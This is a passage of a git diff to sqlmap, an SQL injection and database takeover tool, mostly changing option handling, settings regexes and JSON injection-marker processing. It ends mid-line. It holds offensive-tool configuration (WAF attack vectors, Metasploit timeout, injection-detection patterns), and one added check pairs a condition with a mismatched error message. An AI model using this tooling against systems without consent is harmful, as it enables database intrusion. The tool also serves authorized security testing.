kb.dnsTest = None kb.docRoot = None + kb.droppingRequests = False kb.dumpColumns = None kb.dumpTable = None kb.dumpKeyboardInterrupt = False @@ -1920,6 +1943,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.futileUnion = None kb.headersFp = {} kb.heuristicDbms = None + kb.heuristicExtendedDbms = None kb.heuristicMode = False kb.heuristicPage = False kb.heuristicTest = None @@ -2009,6 +2033,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.tableExistsChoice = None kb.uChar = NULL kb.unionDuplicates = False + kb.wafSpecificResponse = None kb.xpCmdshellAvailable = False if flushAll: @@ -2076,11 +2101,11 @@ def _useWizardInterface(): choice = readInput(message, default='1') if choice == '2': - map(lambda x: conf.__setitem__(x, True), WIZARD.INTERMEDIATE) + map(lambda _: conf.__setitem__(_, True), WIZARD.INTERMEDIATE) elif choice == '3': - map(lambda x: conf.__setitem__(x, True), WIZARD.ALL) + map(lambda _: conf.__setitem__(_, True), WIZARD.ALL) else: - map(lambda x: conf.__setitem__(x, True), WIZARD.BASIC) + map(lambda _: conf.__setitem__(_, True), WIZARD.BASIC) logger.debug("muting sqlmap.. it will do the magic for you") conf.verbose = 0 @@ -2102,53 +2127,7 @@ def _saveConfig(): debugMsg = "saving command line options to a sqlmap configuration INI file" logger.debug(debugMsg) - config = UnicodeRawConfigParser() - userOpts = {} - - for family in optDict.keys(): - userOpts[family] = [] - - for option, value in conf.items(): - for family, optionData in optDict.items(): - if option in optionData: - userOpts[family].append((option, value, optionData[option])) - - for family, optionData in userOpts.items(): - config.add_section(family) - - optionData.sort() - - for option, value, datatype in optionData: - if datatype and isListLike(datatype): - datatype = datatype[0] - - if option in IGNORE_SAVE_OPTIONS: - continue - - if value is None: - if datatype == OPTION_TYPE.BOOLEAN: - value = "False" - elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): - if option in defaults: - value = str(defaults[option]) - else: - value = "0" - elif datatype == OPTION_TYPE.STRING: - value = "" - - if isinstance(value, basestring): - value = value.replace("\n", "\n ") - - config.set(family, option, value) - - confFP = openFile(conf.saveConfig, "wb") - - try: - config.write(confFP) - except IOError, ex: - errMsg = "something went wrong while trying " - errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, getSafeExString(ex)) - raise SqlmapSystemException(errMsg) + saveConfig(conf, conf.saveConfig) infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) @@ -2224,26 +2203,6 @@ def _mergeOptions(inputOptions, overrideOptions): @type inputOptions: C{instance} """ - if inputOptions.pickledOptions: - try: - unpickledOptions = base64unpickle(inputOptions.pickledOptions, unsafe=True) - - if type(unpickledOptions) == dict: - unpickledOptions = AttribDict(unpickledOptions) - - _normalizeOptions(unpickledOptions) - - unpickledOptions["pickledOptions"] = None - for key in inputOptions: - if key not in unpickledOptions: - unpickledOptions[key] = inputOptions[key] - - inputOptions = unpickledOptions - except Exception, ex: - errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions - errMsg += " (%s)" % repr(ex) - raise SqlmapSyntaxException(errMsg) - if inputOptions.configFile: configFileParser(inputOptions.configFile) @@ -2256,7 +2215,7 @@ def _mergeOptions(inputOptions, overrideOptions): if key not in conf or value not in (None, False) or overrideOptions: conf[key] = value - if not hasattr(conf, "api"): + if not conf.api: for key, value in conf.items(): if value is not None: kb.explicitSettings.add(key) @@ -2290,6 +2249,12 @@ def _setTrafficOutputFP(): conf.trafficFP = openFile(conf.trafficFile, "w+") +def _setupHTTPCollector(): + if not conf.harFile: + return + + conf.httpCollector = HTTPCollectorFactory(conf.harFile).create() + def _setDNSServer(): if not conf.dnsDomain: return @@ -2319,7 +2284,7 @@ def _setProxyList(): return conf.proxyList = [] - for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): _, type_, address, port = match.groups() conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) @@ -2419,8 +2384,8 @@ def _basicOptionValidation(): if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: - errMsg = "value for option '--start' (limitStart) must be smaller or equal than value for --stop (limitStop) option" - raise SqlmapSyntaxException(errMsg) + warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" + logger.warn(warnMsg) if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: @@ -2451,6 +2416,10 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) + if conf.api and not conf.configFile: + errMsg = "switch '--api' requires usage of option '-c'" + raise SqlmapSyntaxException(errMsg) + if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) @@ -2463,6 +2432,10 @@ def _basicOptionValidation(): errMsg = "option '--not-string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.notString and conf.nullConnection: + errMsg = "option '--tor' is incompatible with switch '--os-pwn'" + raise SqlmapSyntaxException(errMsg) + if conf.noCast and conf.hexConvert: errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) @@ -2608,15 +2581,15 @@ def _basicOptionValidation(): errMsg += "format : (e.g. \"root:pass\")" raise SqlmapSyntaxException(errMsg) - if conf.charset: - _ = checkCharEncoding(conf.charset, False) + if conf.encoding: + _ = checkCharEncoding(conf.encoding, False) if _ is None: - errMsg = "unknown charset '%s'. Please visit " % conf.charset + errMsg = "unknown charset '%s'. Please visit " % conf.encoding errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE errMsg += "supported charsets" raise SqlmapSyntaxException(errMsg) else: - conf.charset = _ + conf.encoding = _ if conf.loadCookies: if not os.path.exists(conf.loadCookies): @@ -2662,6 +2635,7 @@ def init(): _setTamperingFunctions() _setWafFunctions() _setTrafficOutputFP() + _setupHTTPCollector() _resolveCrossReferences() _checkWebSocket() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 5d9f5d232b2..ba79baa9166 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ optDict = { @@ -38,7 +38,7 @@ "authType": "string", "authCred": "string", "authFile": "string", - "ignore401": "boolean", + "ignoreCode": "integer", "ignoreProxy": "boolean", "ignoreRedirects": "boolean", "ignoreTimeouts": "boolean", @@ -77,8 +77,8 @@ "testParameter": "string", "skip": "string", "skipStatic": "boolean", - "skip": "string", "paramExclude": "string", + "dbms": "string", "dbmsCred": "string", "os": "string", "invalidBignum": "boolean", @@ -196,14 +196,17 @@ "batch": "boolean", "binaryFields": "string", "charset": "string", + "checkInternet": "boolean", "crawlDepth": "integer", "crawlExclude": "string", "csvDel": "string", "dumpFormat": "string", + "encoding": "string", "eta": "boolean", "flushSession": "boolean", "forms": "boolean", "freshQueries": "boolean", + "harFile": "string", "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", @@ -225,11 +228,11 @@ "identifyWaf": "boolean", "mobile": "boolean", "offline": "boolean", - "pageRank": "boolean", "purgeOutput": "boolean", "skipWaf": "boolean", "smart": "boolean", "tmpDir": "string", + "webRoot": "string", "wizard": "boolean", "verbose": "integer", }, @@ -243,5 +246,10 @@ "liveTest": "boolean", "stopFail": "boolean", "runCase": "string", + }, + "API": { + "api": "boolean", + "taskid": "string", + "database": "string", } } diff --git a/lib/core/profiling.py b/lib/core/profiling.py index ff1cc3f1daf..c8ede5a2d3d 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import codecs diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index cf95f392616..d7e2f3a62a2 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger diff --git a/lib/core/replication.py b/lib/core/replication.py index 1bcbeb2a784..764f7664e6a 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import sqlite3 diff --git a/lib/core/revision.py b/lib/core/revision.py index 0c168278919..eaeac85b9a3 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os diff --git a/lib/core/session.py b/lib/core/session.py index 574e3415e49..3d0ba367a9a 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re diff --git a/lib/core/settings.py b/lib/core/settings.py old mode 100755 new mode 100644 index 619853adbfd..1d14dbc3064 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -19,12 +19,13 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.1" +VERSION = "1.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" +DEV_EMAIL_ADDRESS = "dev@sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" @@ -63,17 +64,19 @@ ASTERISK_MARKER = "__ASTERISK_MARK__" REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__" +SAFE_VARIABLE_MARKER = "__SAFE__" RANDOM_INTEGER_MARKER = "[RANDINT]" RANDOM_STRING_MARKER = "[RANDSTR]" SLEEP_TIME_MARKER = "[SLEEPTIME]" +INFERENCE_MARKER = "[INFERENCE]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" # Regular expression used for extraction of table names (useful for (e.g.) MsAccess) -SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P([\w.]|`[^`<>]+`)+)" +SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P([\w.]|`[^`<>]+`)+)" # Regular expression used for recognition of textual content-type TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" @@ -81,8 +84,11 @@ # Regular expression used for recognition of generic permission messages PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied" +# Regular expression used in recognition of generic protection mechanisms +GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" + # Regular expression used for recognition of generic maximum connection messages -MAX_CONNECTIONS_REGEX = r"max.+connections" +MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection" # Maximum consecutive connection errors before asking the user if he wants to continue MAX_CONSECUTIVE_CONNECTION_ERRORS = 15 @@ -99,8 +105,8 @@ # Regular expression used for extracting results from DuckDuckGo search DUCKDUCKGO_REGEX = r'"u":"([^"]+)' -# Regular expression used for extracting results from Disconnect Search -DISCONNECT_SEARCH_REGEX = r'

([^<]+)

' +# Regular expression used for extracting results from Bing search +BING_REGEX = r'

/[^'\"]+)") +FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"(?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"href=['\"]file://(?P/[^'\"]+)") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( @@ -303,6 +320,7 @@ r"(?m)^(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", r"(?P[^\n>]*SQL Syntax[^\n<]+)", r"
  • Error Type:
    (?P.+?)
  • ", + r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)" ) @@ -358,11 +376,14 @@ # Maximum value for comparison ratio MAX_RATIO = 1.0 +# Minimum length of sentence for automatic choosing of --string (in case of high matching ratio) +CANDIDATE_SENTENCE_MIN_LENGTH = 10 + # Character used for marking injectable position inside provided data CUSTOM_INJECTION_MARK_CHAR = '*' # Other way to declare injection position -INJECT_HERE_MARK = '%INJECT HERE%' +INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%' # Minimum chunk length used for retrieving data over error based payloads MIN_ERROR_CHUNK_LENGTH = 8 @@ -382,6 +403,9 @@ # Regular expression used for replacing non-alphanum characters REFLECTED_REPLACEMENT_REGEX = r".+" +# Maximum time (in seconds) spent per reflective value(s) replacement +REFLECTED_REPLACEMENT_TIMEOUT = 3 + # Maximum number of alpha-numerical parts in reflected regex (for speed purposes) REFLECTED_MAX_REGEX_PARTS = 10 @@ -446,6 +470,9 @@ # Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM") +# Keywords expected to be in UPPERCASE in getValue() +GET_VALUE_UPPERCASE_KEYWORDS = ("SELECT", "FROM", "WHERE", "DISTINCT", "COUNT") + LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program" # After this number of misses reflective removal mechanism is turned off (for speed up reasons) @@ -463,12 +490,12 @@ DUMMY_SQL_INJECTION_CHARS = ";()'" # Simple check against dummy users -DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b" +DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b" # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx") -# Patterns often seen in HTTP headers containing custom injection marking character +# Patterns often seen in HTTP headers containing custom injection marking character '*' PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" # Template used for common table existence check @@ -483,6 +510,12 @@ # Data inside shellcodeexec to be filled with random string SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" +# Generic address for checking the Internet connection while using switch --check-internet +CHECK_INTERNET_ADDRESS = "https://ipinfo.io/" + +# Value to look for in response to CHECK_INTERNET_ADDRESS +CHECK_INTERNET_VALUE = "IP Address Details" + # Vectors used for provoking specific WAF/IPS/IDS behavior(s) WAF_ATTACK_VECTORS = ( "", # NIL @@ -498,6 +531,9 @@ # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) BIGARRAY_CHUNK_SIZE = 1024 * 1024 +# Compress (zlib) level used for storing BigArray chunks to disk (0-9) +BIGARRAY_COMPRESS_LEVEL = 9 + # Maximum number of socket pre-connects SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 @@ -575,7 +611,7 @@ MAX_DNS_LABEL = 63 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) -DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters) +DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') @@ -587,7 +623,7 @@ DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" # Regular expression used for recognition of file inclusion errors -FI_ERROR_REGEX = "(?i)[^\n]*(no such file|failed (to )?open)[^\n]*" +FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 @@ -617,7 +653,7 @@ CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") @@ -656,7 +692,7 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data -JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\Z' +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z" @@ -692,7 +728,7 @@ MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized -METASPLOIT_SESSION_TIMEOUT = 300 +METASPLOIT_SESSION_TIMEOUT = 120 # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html LOBLKSIZE = 2048 diff --git a/lib/core/shell.py b/lib/core/shell.py index 2d72eeaea26..b6c200755a4 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import atexit diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 5f67fc70457..e82f172cd17 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import errno diff --git a/lib/core/target.py b/lib/core/target.py index dd974d9b225..146f3de4737 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,14 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import codecs import functools import os import re +import subprocess +import sys import tempfile import time import urlparse @@ -18,6 +20,7 @@ from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import intersect +from lib.core.common import isNumPosStrValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import paramToDict @@ -49,7 +52,6 @@ from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES -from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX @@ -60,6 +62,7 @@ from lib.core.settings import REFERER_ALIASES from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESULTS_FILE_FORMAT +from lib.core.settings import SESSION_SQLITE_FILE from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING @@ -111,92 +114,108 @@ def process(match, repl): retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) else: break - if CUSTOM_INJECTION_MARK_CHAR in retVal: - hintNames.append((retVal.split(CUSTOM_INJECTION_MARK_CHAR)[0], match.group("name"))) + if kb.customInjectionMark in retVal: + hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name"))) return retVal - if kb.processUserMarks is None and CUSTOM_INJECTION_MARK_CHAR in conf.data: - message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR + if kb.processUserMarks is None and kb.customInjectionMark in conf.data: + message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message += "'--data'. Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): + choice = readInput(message, default='Y').upper() + + if choice == 'Q': raise SqlmapUserQuitException else: - kb.processUserMarks = not test or test[0] not in ("n", "N") + kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True - if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): - if re.search(JSON_RECOGNITION_REGEX, conf.data): - message = "JSON data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): + if re.search(JSON_RECOGNITION_REGEX, conf.data): + message = "JSON data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data) - conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) if match and not (conf.testParameter and match.group("name") not in conf.testParameter): _ = match.group(2) - _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, _) - _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, _) + _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _) conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) - kb.postHint = POST_HINT.JSON - elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): - message = "JSON-like data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): + kb.postHint = POST_HINT.JSON + + elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): + message = "JSON-like data found in %s data. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data) - conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) - kb.postHint = POST_HINT.JSON_LIKE - - elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): - message = "Array-like data found in %s data. " % conf.method - message += "Do you want to process it? [Y/n/q] " - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise SqlmapUserQuitException - elif test[0] not in ("n", "N"): - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) - conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % CUSTOM_INJECTION_MARK_CHAR, conf.data) - kb.postHint = 